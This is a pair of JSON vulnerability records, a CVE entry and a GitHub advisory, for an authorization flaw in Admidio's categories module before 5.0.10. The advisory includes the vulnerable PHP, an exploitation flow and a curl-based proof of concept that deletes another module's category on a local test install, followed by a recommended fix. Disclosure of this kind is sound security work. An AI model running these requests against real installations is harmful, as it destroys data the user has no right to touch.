{
  "affected": [
    {
      "affectedData": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.10"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Admidio is an open-source user management solution. `modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, \u2026) corresponds to a module the actor administers. The follow-up \"is this specific category editable by me\" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category-\u003eisEditable()` is never invoked. Prior to version 5.0.10, the `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules \u2014 for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch. Version 5.0.10 fixes the issue."
    }
  ],
  "id": "CVE-2026-47227",
  "lastModified": "2026-08-12T16:17:03.670",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47227",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-12T15:22:02.843768Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T14:17:53.600",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:57:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, \u2026) corresponds to a module the actor administers. The follow-up \"is this specific category editable by me\" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category-\u003eisEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules \u2014 for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.\n\n## Details\n\n### vulnerable code\n\n`modules/categories.php:40-61`:\n\n```php\n$getMode         = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027,\n                                          array(\u0027defaultValue\u0027 =\u003e \u0027list\u0027,\n                                                \u0027validValues\u0027  =\u003e array(\u0027list\u0027, \u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027, \u0027sequence\u0027)));\n$getType         = admFuncVariableIsValid($_GET, \u0027type\u0027, \u0027string\u0027,\n                                          array(\u0027validValues\u0027 =\u003e array(\u0027ANN\u0027,\u0027AWA\u0027,\u0027EVT\u0027,\u0027FOT\u0027,\u0027LNK\u0027,\u0027ROL\u0027,\u0027USF\u0027,\u0027IVT\u0027)));\n$getCategoryUUID = admFuncVariableIsValid($_GET, \u0027uuid\u0027, \u0027uuid\u0027);\n\n// check rights of the type\nif (($getType === \u0027ANN\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorAnnouncements())\n    || ($getType === \u0027AWA\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n    || ($getType === \u0027EVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorEvents())\n    || ($getType === \u0027FOT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorForum())\n    || ($getType === \u0027LNK\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorWeblinks())\n    || ($getType === \u0027ROL\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorRoles())\n    || ($getType === \u0027USF\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n    || ($getType === \u0027IVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n    throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n\nif (in_array($getType, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027))) {           // \u003c- DEAD CODE\n    // check if this category is editable by the current user and current organization\n    if (!$category-\u003eisEditable()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n}\n```\n\nThe `in_array($getType, array(\u0027edit\u0027,\u0027save\u0027,\u0027delete\u0027))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array(\u0027edit\u0027,\u0027save\u0027,\u0027delete\u0027))`. As written, `$category-\u003eisEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.\n\n`modules/categories.php:99-110` \u2014 the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check:\n\n```php\ncase \u0027delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $menu = new Category($gDb);\n    $menu-\u003ereadDataByUuid($getCategoryUUID);\n    $menu-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n`modules/categories.php:112-123` \u2014 the `sequence` switch case has the same shape.\n\n`Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category\u0027s `cat_type` matches a module the actor has rights over.\n\n### exploitation flow\n\n1. Attacker has `Announcements administrator` (or any other single module-admin right) but is **not** a roles / inventory / weblinks administrator.\n2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=\u003ctheir_type\u003e\u0026mode=list`.\n3. Attacker requests `POST /modules/categories.php?mode=delete\u0026type=ANN\u0026uuid=\u003cUUID-of-foreign-category\u003e` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case \u0027delete\u0027:` which deletes the category without re-checking the type.\n4. Server replies `{\"status\":\"success\"}`. The cross-module category is gone.\n\nThe same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category\u0027s name and description.\n\n## PoC\n\nTested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association\u0027s board` with `rol_announcements=1` (no roles / inventory / weblinks rights).\n\n```\n# 0. set-up: confirm starting state of the cross-module category\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type=\u0027ROL\u0027 AND cat_name=\u0027TEAMS\u0027;\"\ncat_id  cat_uuid                              cat_type  cat_name\n7       846536b9-2582-4845-a5ff-dee06f3212c7  ROL       TEAMS\n\n# 1. login as annadmin (announcements admin only) and capture session + csrf\n$ curl -s -c $C -b $C \"http://127.0.0.1:8085/index.php?module=auth\" \u003e /dev/null\n$ html=$(curl -s -c $C -b $C \"http://127.0.0.1:8085/system/login.php?...\")\n$ csrf=$(grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 /tmp/login.html | head -1 | ...)\n$ curl -s -c $C -b $C \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"adm_login_name=annadmin\" \\\n    --data-urlencode \"adm_password=Annpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"...\"}\n\n# 2. as annadmin, GET the categories page once to seed an in-session form key\n$ html=$(curl -s -b $C \"http://127.0.0.1:8085/modules/categories.php?type=ANN\u0026mode=list\")\n$ csrf=$(echo \"$html\" | grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 | head -1 | sed \u0027s/.*value=\"//\u0027)\n\n# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=\u003cROL category\u003e\n$ curl -s -b $C \\\n    -X POST \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"direction=\" \\\n    \"http://127.0.0.1:8085/modules/categories.php?mode=delete\u0026type=ANN\u0026uuid=846536b9-2582-4845-a5ff-dee06f3212c7\"\n{\"status\":\"success\"}\n\n# 4. verify the row is gone \u2014 annadmin had no role-administrator rights\n$ mariadb ... admidio -e \"SELECT * FROM adm_categories WHERE cat_uuid=\u0027846536b9-2582-4845-a5ff-dee06f3212c7\u0027;\"\n(no rows)\n```\n\nThe same chain with `mode=sequence\u0026direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency.\n\n## Impact\n\nAny user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:\n\n- Role categories (the structural grouping of all roles in the organisation)\n- Event calendars (each calendar is a category of type `EVT`)\n- Profile-field categories (the grouping of which fields are shown on which profile tab)\n- Weblink categories\n- Forum categories (`FOT`)\n- Inventory categories (`IVT`)\n\n`Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit \"Default Category\" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.\n\nThe CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. `PR:L` because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). `I:H` because data is destroyed and there is no in-product undo. `A:N` because the system stays up; only the affected module\u0027s metadata is gone.\n\n## Recommended Fix\n\nReplace the dead `if (in_array($getType, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027)))` block with a real check on `$getMode` plus a per-record `isEditable()` test that re-derives the module from `cat_type`:\n\n```php\nif (in_array($getMode, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027, \u0027sequence\u0027), true) \u0026\u0026 $getCategoryUUID !== \u0027\u0027) {\n    $category = new Category($gDb);\n    $category-\u003ereadDataByUuid($getCategoryUUID);\n\n    if ($category-\u003eisNewRecord()) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    }\n\n    // re-check rights against the *record\u0027s* cat_type, not the user-supplied type\n    $recordType = $category-\u003egetValue(\u0027cat_type\u0027);\n    if (   ($recordType === \u0027ANN\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorAnnouncements())\n        || ($recordType === \u0027AWA\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n        || ($recordType === \u0027EVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorEvents())\n        || ($recordType === \u0027FOT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorForum())\n        || ($recordType === \u0027LNK\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorWeblinks())\n        || ($recordType === \u0027ROL\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorRoles())\n        || ($recordType === \u0027USF\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n        || ($recordType === \u0027IVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    if (!$category-\u003eisEditable()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n}\n```\n\nAdditionally, `CategoryService::save()` should refuse to mutate `cat_type` when editing an existing record (drop the `$this-\u003ecategoryRessource-\u003esetValue(\u0027cat_type\u0027, $this-\u003etype)` at line 210, or set it only when `isNewRecord()`).\n\nA regression test should call `categories.php?mode=delete\u0026type=ANN\u0026uuid=\u003cROL-category\u003e` as a user with only `isAdministratorAnnouncements()` and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
  "id": "GHSA-rwjr-qjj3-mq2f",
  "modified": "2026-05-29T21:57:05Z",
  "published": "2026-05-29T21:57:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`"
}